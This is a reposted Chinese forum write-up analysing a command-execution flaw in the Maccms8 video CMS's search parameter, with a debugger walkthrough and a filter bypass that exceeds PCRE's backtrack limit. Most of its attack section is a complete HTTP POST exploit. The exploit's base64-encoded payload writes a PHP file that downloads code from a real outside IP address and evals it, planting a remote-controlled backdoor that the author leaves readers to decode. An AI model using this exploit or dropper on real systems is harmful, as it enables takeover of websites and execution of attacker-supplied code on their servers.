Maccms8的命令执行漏洞分析及初探
2020-01-19 18:14:37 Author: forum.90sec.com(查看原文) 阅读量:384 收藏

一、漏洞初现

  1. 环境搭建部分省略,可在 https://github.com/yaofeifly/Maccms8.x 下载可复现环境。

  2. 模拟搜索功能,调用以下接口
    url:http://127.0.0.1/maccms888/?m=vod-search
    post:
    wd={if-A:phpinfo()}{endif-A}

  3. phpinfo()函数被执行

image

二、漏洞分析

  1. phpstorm(配合xdebug)调试审计一波
image

直接从头开始下断点,执行到 `require(MAC_ROOT.'/inc/common/360_safe3.php');· 的时候,可看
到匹配规则并未匹配到我们输入的字符,断点继续往下审。

  1. 到下图时,我们F7跟进去
image

F8往下到了eval函数的时候可发现,出了接受get,post数据那块有做sql过滤,没做任何其他gu过滤。

image

三、匹配规则绕过

  1. 还记得p神当年那篇绕正则的文章嘛,通过超出回溯次数实现正则绕过,原文贴
    出:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypassrestrict.html 这个漏洞在此文说的环境中已被修复。

  2. 构造payload

POST /index.php?m=vod‐search HTTP/1.1
Host: xxxx
Cache‐Control: max‐age=0
DNT: 1
Upgrade‐Insecure‐Requests: 1
User‐Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/79.0.3945.79 Safari/537.36
Content‐Type: application/x‐www‐form‐urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed‐exchange;v=b3;q=0.9
Accept‐Encoding: gzip, deflate
Accept‐Language: zh‐CN,zh;q=0.9
Connection: close
Content‐Length: 800580
wd=union%28这里有80w个a%E4%B8%AAa%29%7Bif‐
A%3Aprint%28fputs%28fopen%28base64_decode%28Yy5waHA%29%2Cw%29%2Cbase64_decode%28PD9waHAgZ
nVuY3Rpb24gcygpeyRjb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vNjcuMTk4LjE4Ni40MjoyOT
gwOC9zL2FkbWluZTIxLnR4dCcpO2EoJGNvbnRlbnRzKTt9ZnVuY3Rpb24gYSgkY29ubil7JGIgPSAnICc7ZXZhbCg
kYi4kY29ubi4kYik7fXMoKTsgPz4x%29%29%29%7D%7Bendif‐A%7D"}&submit=%E6%90%9C+%E7%B4%A2
  1. payload执行成功后,会在本目录下生成一个shell文件(请自行解码查看写入函数和文件名)
image

Maccms8的命令执行漏洞分析及初探.pdf (804.0 KB)


文章来源: https://forum.90sec.com/t/topic/724/1
如有侵权请联系:admin#unsafe.sh